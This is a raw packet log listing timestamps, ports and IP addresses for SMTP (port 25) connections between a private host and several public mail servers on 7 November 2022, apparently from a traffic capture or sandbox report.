Nov 7, 2022 22:24:54.361711979 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361727953 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361727953 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361780882 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.392910957 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.392950058 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.392961025 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.392971992 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.392982006 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393002033 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393032074 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393053055 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393074036 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393089056 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393100023 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393135071 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393162012 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393207073 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393224001 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393224001 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393237114 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393260002 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393260002 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393266916 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393290043 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393296957 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393317938 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393330097 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393337965 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393359900 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393378019 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393389940 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393410921 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393424034 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393450975 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393457890 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393481970 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393487930 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393502951 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393518925 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393531084 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393549919 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393569946 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393583059 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393611908 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393636942 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393640041 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393665075 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393670082 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393709898 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393712997 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393742085 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393744946 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393769026 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393771887 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393795013 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393804073 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.393810987 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393837929 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393865108 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393887043 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393909931 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393933058 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393954039 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.393975973 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.394020081 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.394076109 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.394100904 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.425465107 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.425601006 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.425620079 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.425702095 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.425793886 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.425873995 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.425960064 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426038980 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426048040 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426100016 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426109076 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426158905 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426224947 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426234961 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426256895 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426295042 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426356077 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426386118 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426415920 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426433086 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426465034 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426475048 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426527977 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426532984 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426587105 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426625013 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426644087 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426661015 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426692963 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426748991 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426774979 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426790953 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426839113 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426846981 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426846981 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426868916 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426930904 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.426930904 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426983118 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.426995993 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427014112 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427045107 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427088976 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427119970 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427119970 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427135944 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427169085 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427177906 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427196026 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427229881 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427232981 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427293062 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427321911 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427354097 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427406073 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427412033 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427470922 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427529097 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427570105 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427588940 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427608967 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427647114 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427673101 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427721977 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427753925 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427773952 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427781105 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427845955 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.427855968 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427921057 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.427987099 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428003073 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428050995 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428055048 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428113937 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428212881 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428282022 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428352118 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428407907 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428416967 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428469896 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428525925 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428528070 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428581953 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428636074 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428642035 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428688049 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428699970 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428741932 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428793907 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428827047 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428852081 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428906918 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.428916931 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.428966045 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429023027 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429083109 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429140091 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429199934 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429256916 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429337978 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429395914 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429606915 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429667950 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429729939 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429783106 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429840088 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429903030 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429950953 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.429985046 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430018902 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430066109 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430134058 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430183887 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430234909 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430303097 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430368900 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430422068 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.430474997 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462363005 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462400913 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462423086 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462443113 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462506056 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462672949 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462690115 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462701082 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462749004 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462769985 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462860107 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462918043 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462939024 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.462985039 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463067055 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463088989 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463149071 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463579893 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463614941 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463671923 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463696957 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463720083 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463742971 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463766098 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463788033 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463814020 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463838100 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463896036 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463920116 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463943005 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463964939 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.463985920 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464006901 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464030981 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464050055 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464134932 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464180946 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464204073 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464226007 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464627028 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464701891 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464720011 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464728117 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464735985 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464742899 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464751959 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.464920998 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465090990 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465198040 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465279102 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465378046 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465403080 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465456963 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465534925 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465557098 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465579033 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465735912 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465764046 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465780020 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465904951 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465923071 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.465938091 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466000080 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466090918 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466191053 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466206074 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466224909 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466284990 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466300964 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466315985 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466479063 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466495037 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466568947 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466670990 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466775894 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466792107 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466809988 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466860056 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.466989994 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467056990 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467073917 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467247963 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467266083 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467335939 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467444897 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467463017 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467478037 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467494011 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467538118 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467554092 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467571020 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467641115 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467658043 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467675924 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467695951 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467717886 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467957020 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.467986107 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468007088 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468025923 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468045950 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468066931 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468086958 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468108892 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468130112 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468149900 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.468415022 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.480339050 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.480521917 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:54.499412060 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.511055946 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.511228085 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.526617050 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.542604923 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.546952009 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.550558090 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.550689936 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.581065893 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.581191063 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.596807003 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.597172022 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.637343884 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.645518064 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.652556896 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.699943066 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.702617884 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.702897072 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.705393076 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.705446959 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.759784937 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.760282993 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.760516882 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.762404919 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.762656927 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.802659035 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.817233086 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.820611000 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.820894957 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:54.879977942 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:54.917236090 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.917557955 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:55.007467031 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.008493900 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.029237032 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.029269934 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.083342075 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.083507061 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.083678007 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.084270000 CET	25	49850	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.090332985 CET	49851	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.092076063 CET	49850	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:55.149885893 CET	25	49851	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:55.150067091 CET	49851	25	192.168.2.5	142.250.150.26
